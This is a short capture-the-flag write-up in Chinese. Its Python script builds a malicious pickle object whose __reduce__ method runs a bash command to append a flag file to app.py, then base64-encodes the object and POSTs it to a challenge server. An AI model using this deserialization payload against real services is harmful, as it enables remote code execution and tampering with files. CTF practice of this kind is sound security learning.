import pickle
import subprocess
import base64
import requests
import re

class EvilObject:
    def __reduce__(self):
        # 使用 subprocess.run 执行 "dir" 命令。
        # 通过命令行将 flag 文件内容追加到 app.py 末尾。tee 命令的 -a 参数表示追加(类似 >>,直接操作文件:
        return (subprocess.run, (["bash","-c","cat ../../../flag | tee -a app.py" ],),{"shell": True})

# 创建恶意对象
evil_object = EvilObject()

# 序列化恶意对象
pickled_data = pickle.dumps(evil_object)

# base64 编码序列化对象
pickled_data_base64 = base64.b64encode(pickled_data).decode('utf-8')

# 输出序列化后的 Base64 编码
print("Base64 Encoded Pickled Data:")
print(pickled_data_base64)

url = 'http://f7eeb85c-cbe6-43a3-ad8c-25cc55bd5a1f.node5.buuoj.cn:81/ppicklee'
# 要发送的POST数据,通常是字典格式
data = {'data': pickled_data_base64}

# 发送POST请求
response = requests.post(url, data=data)

# 打印响应的状态码和内容
print('Status Code:', response.status_code)
print('Response Text:', response.text)

成功后直接打开/src目录,flag被附加到app.py文件末尾了

与原博客不同的是用cat ../../../flag | tee -a app.py表示追加,这样就不会导致原文件被覆盖,容器除了/src目录有flag其他都是404了QAQ。

参考博客:DASCTF 2024最后一战 wp - XU17

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐